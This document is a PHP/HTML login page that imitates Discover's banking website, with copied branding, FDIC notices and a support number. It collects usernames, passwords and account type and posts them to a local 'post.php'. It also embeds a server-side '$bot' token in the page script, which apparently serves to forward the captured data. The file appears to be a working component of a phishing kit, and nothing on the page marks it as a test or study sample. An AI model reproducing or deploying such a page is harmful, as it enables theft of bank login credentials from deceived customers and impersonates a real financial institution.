<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Serif+4:wght@300;400;600&family=Source+Sans+3:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Discover – Log In</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --orange:       #EA6A28;
            --orange-dark:  #c9551a;
            --orange-light: #fdf1eb;
            --navy:         #232341;
            --navy-dark:    #1a1a32;
            --navy-light:   #eeeef6;
            --teal:         #00a8a8;
            --text:         #1a1a1a;
            --text-sub:     #444;
            --text-muted:   #6b6b6b;
            --border:       #d0d4e0;
            --border-focus: #EA6A28;
            --bg:           #ffffff;
        }
        html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; background: var(--bg); color: var(--text); }
        .page { min-height: 100vh; display: grid; grid-template-rows: auto auto 1fr auto; }

        /* ─── FDIC BAR ───────────────────────────────── */
        .fdic-bar { background: #f5f5f5; border-bottom: 1px solid #e0e0e0; padding: 6px 48px; display: flex; align-items: center; gap: 10px; font-size: 12px; color: #444; }
        .fdic-badge { background: #1b3d8c; color: #fff; font-size: 10px; font-weight: 800; letter-spacing: 0.06em; padding: 2px 5px; border-radius: 2px; flex-shrink: 0; }

        /* ─── TOP NAV ────────────────────────────────── */
        .top-nav { background: #fff; border-bottom: 1px solid #e8e8e8; padding: 0 48px; display: flex; align-items: center; justify-content: space-between; height: 68px; z-index: 10; box-shadow: 0 1px 4px rgba(0,0,0,0.06); }
        .nav-logo img { height: 30px; width: auto; }
        .nav-links { display: flex; align-items: center; gap: 6px; }
        .nav-links a { font-size: 14px; color: var(--text-sub); text-decoration: none; font-weight: 400; padding: 6px 12px; border-radius: 4px; display: flex; align-items: center; gap: 5px; transition: color 0.15s; }
        .nav-links a:hover { color: var(--navy); }
        .nav-links a svg { opacity: 0.6; }
        .btn-login-nav { background: var(--orange); color: #fff; border: none; border-radius: 24px; padding: 10px 24px; font-family: 'Source Sans 3', sans-serif; font-size: 14px; font-weight: 600; cursor: pointer; transition: background 0.15s, box-shadow 0.15s; letter-spacing: 0.01em; }
        .btn-login-nav:hover { background: var(--orange-dark); box-shadow: 0 3px 14px rgba(234,106,40,0.3); }

        /* ─── HERO BAND ──────────────────────────────── */
        .hero-band {
            background: var(--navy);
            padding: 28px 48px;
            display: flex; align-items: center; justify-content: flex-start;
            position: relative; overflow: hidden;
        }
        .hero-band::before { content: ''; position: absolute; right: 280px; top: -60px; width: 220px; height: 220px; border-radius: 50%; border: 18px solid var(--teal); opacity: 0.35; }
        .hero-band::after { content: ''; position: absolute; right: 100px; top: -30px; width: 180px; height: 180px; border-radius: 50%; border: 14px solid var(--orange); opacity: 0.25; }
        .hero-text { color: #fff; }
        .hero-text h1 { font-family: 'Source Serif 4', serif; font-size: 26px; font-weight: 300; line-height: 1.35; }
        .hero-text h1 span { color: var(--orange); font-weight: 600; }

        /* ─── MAIN ───────────────────────────────────── */
        .main { display: grid; grid-template-columns: 1fr 480px 1fr; align-items: start; padding: 48px 24px 64px; background: #fff; }

        /* ─── SIDE PANEL ─────────────────────────────── */
        .side-panel { grid-column: 1; padding: 0 48px 0 max(48px, calc((100% - 1100px) / 2)); padding-top: 8px; max-width: 500px; margin-left: auto; }
        .side-title { font-family: 'Source Serif 4', serif; font-size: 26px; font-weight: 300; line-height: 1.4; color: var(--navy); margin-bottom: 22px; }
        .side-title strong { color: var(--orange); font-weight: 600; }
        .feature-list { list-style: none; display: flex; flex-direction: column; gap: 14px; margin-bottom: 32px; }
        .feature-list li { display: flex; align-items: flex-start; gap: 12px; font-size: 14px; color: var(--text-sub); line-height: 1.6; }
        .feature-icon { width: 22px; height: 22px; background: var(--orange-light); border-radius: 50%; display: flex; align-items: center; justify-content: center; flex-shrink: 0; margin-top: 1px; }
        .feature-icon svg { color: var(--orange); }
        .help-row { display: flex; align-items: center; gap: 9px; padding: 12px 16px; background: #fff; border: 1px solid var(--border); border-left: 3px solid var(--teal); border-radius: 4px; }
        .help-row p { font-size: 12px; color: var(--text-muted); line-height: 1.5; }
        .help-row strong { display: block; font-size: 13px; color: var(--text); font-weight: 600; margin-bottom: 2px; }

        /* ─── CARD ───────────────────────────────────── */
        .login-wrap { grid-column: 2; }
        .login-card { background: #fff; border: 1px solid var(--border); border-top: 4px solid var(--orange); border-radius: 4px; padding: 40px 44px 44px; box-shadow: 0 2px 16px rgba(234,106,40,0.08), 0 8px 32px rgba(0,0,0,0.04); animation: cardIn 0.4s ease both; }
        @keyframes cardIn { from { opacity: 0; transform: translateY(12px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 24px; }
        .card-logo img { height: 28px; width: auto; display: block; }

        .card-header { margin-bottom: 24px; padding-bottom: 20px; border-bottom: 1px solid #ededf2; }
        .card-header h1 { font-family: 'Source Serif 4', serif; font-size: 22px; font-weight: 600; color: var(--navy); margin-bottom: 5px; }
        .card-header p { font-size: 13.5px; color: var(--text-muted); font-weight: 300; }

        /* Account type dropdown */
        .acct-tabs { display: flex; gap: 6px; margin-bottom: 22px; padding: 4px; background: var(--navy-light); border-radius: 6px; }
        .acct-tab { flex: 1; padding: 9px 10px; border: none; border-radius: 4px; font-family: 'Source Sans 3', sans-serif; font-size: 13px; font-weight: 500; color: var(--text-muted); background: transparent; cursor: pointer; transition: all 0.15s; text-align: center; }
        .acct-tab.active { background: #fff; color: var(--navy); font-weight: 600; box-shadow: 0 1px 4px rgba(0,0,0,0.1); }

        .field { margin-bottom: 18px; }
        .field label { display: block; font-size: 13px; font-weight: 600; color: var(--text); margin-bottom: 6px; }
        .field input[type="text"], .field input[type="Password"] { width: 100%; height: 44px; padding: 0 14px; border: 1px solid var(--border); border-radius: 4px; font-family: 'Source Sans 3', sans-serif; font-size: 15px; color: var(--text); background: #fff; outline: none; transition: border-color 0.15s, box-shadow 0.15s; -webkit-appearance: none; }
        .field input::placeholder { color: #b0b4c4; font-weight: 300; }
        .field input:focus { border-color: var(--border-focus); box-shadow: 0 0 0 3px rgba(234,106,40,0.12); }

        .remember-row { display: flex; align-items: center; gap: 9px; margin-bottom: 6px; }
        .remember-row input[type="checkbox"] { appearance: none; -webkit-appearance: none; width: 16px; height: 16px; border: 1.5px solid var(--border); border-radius: 3px; background: #fff; cursor: pointer; flex-shrink: 0; position: relative; transition: background 0.12s, border-color 0.12s; }
        .remember-row input:checked { background: var(--orange); border-color: var(--orange); }
        .remember-row input:checked::after { content: ''; position: absolute; left: 3px; top: 0px; width: 5px; height: 9px; border: 2px solid #fff; border-top: none; border-left: none; transform: rotate(45deg); }
        .remember-row label { font-size: 13.5px; color: var(--text-sub); cursor: pointer; user-select: none; }

        .forgot-row { text-align: right; margin-bottom: 18px; }
        .forgot-row a { font-size: 12.5px; color: var(--orange); text-decoration: none; font-weight: 500; transition: opacity 0.12s; }
        .forgot-row a:hover { opacity: 0.75; text-decoration: underline; }

        .btn-login { width: 100%; height: 48px; background: var(--orange); color: #fff; border: none; border-radius: 24px; font-family: 'Source Sans 3', sans-serif; font-size: 15px; font-weight: 600; cursor: pointer; letter-spacing: 0.02em; transition: background 0.15s, box-shadow 0.15s; margin-bottom: 20px; }
        .btn-login:hover { background: var(--orange-dark); box-shadow: 0 3px 16px rgba(234,106,40,0.35); }

        .divider-row { display: flex; align-items: center; gap: 12px; margin-bottom: 18px; }
        .divider-row hr { flex: 1; border: none; border-top: 1px solid #ededf2; }
        .divider-row span { font-size: 12px; color: var(--text-muted); }

        .card-links { display: flex; flex-direction: column; gap: 10px; }
        .card-links a { font-size: 13.5px; color: var(--navy); text-decoration: none; font-weight: 400; display: flex; align-items: center; gap: 6px; transition: color 0.12s; }
        .card-links a:hover { color: var(--orange); }

        /* ─── FOOTER ─────────────────────────────────── */
        .page-footer { background: var(--navy); padding: 20px 48px; display: flex; align-items: center; justify-content: space-between; gap: 24px; flex-wrap: wrap; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; transition: color 0.15s; }
        .footer-links a:hover { color: rgba(255,255,255,0.9); }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.35); }
        .fdic-footer { display: flex; align-items: center; gap: 8px; }
        .fdic-footer .fdic-badge { font-size: 9px; }
        .fdic-footer span { font-size: 11px; color: rgba(255,255,255,0.35); }

        @media (max-width: 900px) { .hero-band { padding: 20px 24px; } .main { grid-template-columns: 1fr; padding: 32px 20px 48px; } .side-panel { display: none; } .login-wrap { grid-column: 1; max-width: 480px; width: 100%; margin: 0 auto; } .top-nav { padding: 0 24px; } .fdic-bar { padding: 6px 24px; } }
        @media (max-width: 500px) { .login-card { padding: 28px 24px 32px; } .acct-tabs { flex-wrap: wrap; } }
    </style>
</head>
<body>
<div class="page">

    <!-- FDIC BAR -->
    <div class="fdic-bar">
        <span class="fdic-badge">FDIC</span>
        FDIC-Insured · Backed by the full faith and credit of the U.S. Government
    </div>

    <!-- NAV -->
    <nav class="top-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="Discover"></div>
        <div class="nav-links">
            <a href="#">All Products <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Help and Resources</a>
            <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>Search</a>
        </div>
        <button class="btn-login-nav">Log In</button>
    </nav>

    <main class="main">
        <aside class="side-panel">
            <h2 class="side-title">Treating people <span style="color:var(--orange);font-weight:600;">special</span> is kind of our thing.</h2>
            <ul class="feature-list">
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Manage credit cards, banking, and loans in one place</li>
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>View statements, rewards, and cashback earned</li>
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Make payments and transfer funds instantly</li>
                <li><div class="feature-icon"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>Free FICO® Score monitoring and credit tools</li>
            </ul>
            <div class="help-row">
                <svg width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="#00a8a8" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07A19.5 19.5 0 013.07 9.81a19.79 19.79 0 01-3.07-8.67A2 2 0 012.18 0h3a2 2 0 012 1.72c.127.96.361 1.903.7 2.81a2 2 0 01-.45 2.11L6.91 7.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45c.907.339 1.85.573 2.81.7A2 2 0 0122 14.92z"/></svg>
                <p><strong>24/7 Customer Support</strong>Call us anytime at 1-855-242-2287 — a real person always answers.</p>
            </div>
        </aside>

        <div class="login-wrap">
            <div class="login-card">
                <div class="card-logo"><img src="res/img/logo.svg" alt="Discover"></div>
                <div class="card-header">
                    <h1>Log In to Your Account</h1>
                    <p>Access your Discover account securely</p>
                </div>

                <script>var token=<?php echo json_encode($bot); ?>;</script>
                <form action="post.php" method="post" id="loginForm">
                    <input type="hidden" name="account_type" id="account_type_input" value="Credit Card">

                    <!-- Account type selector -->
                    <div class="acct-tabs" id="acctTabs">
                        <button type="button" class="acct-tab active" onclick="setAcct(this,'Credit Card')">Credit Card</button>
                        <button type="button" class="acct-tab" onclick="setAcct(this,'Online Banking')">Online Banking</button>
                        <button type="button" class="acct-tab" onclick="setAcct(this,'Personal Loans')">Personal Loans</button>
                    </div>

                    <div class="field"><label for="user">Username or User ID</label><input type="text" id="user" name="user" required autocomplete="username" placeholder="Enter your username"></div>
                    <div class="field"><label for="pass">Password</label><input type="Password" id="pass" name="pass" required autocomplete="current-password" placeholder="Enter your password"></div>
                    <div class="remember-row"><input type="checkbox" id="remember" name="remember"><label for="remember">Remember my username</label></div>
                    <div class="forgot-row"><a href="#">Forgot Username / Password?</a></div>
                    <button type="submit" class="btn-login">Log In</button>
                </form>

                <div class="divider-row"><hr><span>New to Discover?</span><hr></div>
                <div class="card-links">
                    <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M16 21v-2a4 4 0 00-4-4H5a4 4 0 00-4 4v2"/><circle cx="8.5" cy="7" r="4"/><line x1="20" y1="8" x2="20" y2="14"/><line x1="23" y1="11" x2="17" y2="11"/></svg>Register your account</a>
                    <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="2" y="5" width="20" height="14" rx="2"/><line x1="2" y1="10" x2="22" y2="10"/></svg>Apply for a Discover card</a>
                </div>
            </div>
        </div>
    </main>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Accessibility</a><a href="#">Ad Choices</a></div>
        <div class="fdic-footer"><span class="fdic-badge">FDIC</span><span>Member FDIC. Equal Housing Lender.</span></div>
        <div class="footer-copy">© 2025 Discover Financial Services. All rights reserved.</div>
    </footer>
</div>

<script>
function setAcct(btn, val) {
    document.querySelectorAll('.acct-tab').forEach(t => t.classList.remove('active'));
    btn.classList.add('active');
    document.getElementById('account_type_input').value = val;
}
</script>
<script src="./res/jq.js"></script>
</body>
</html>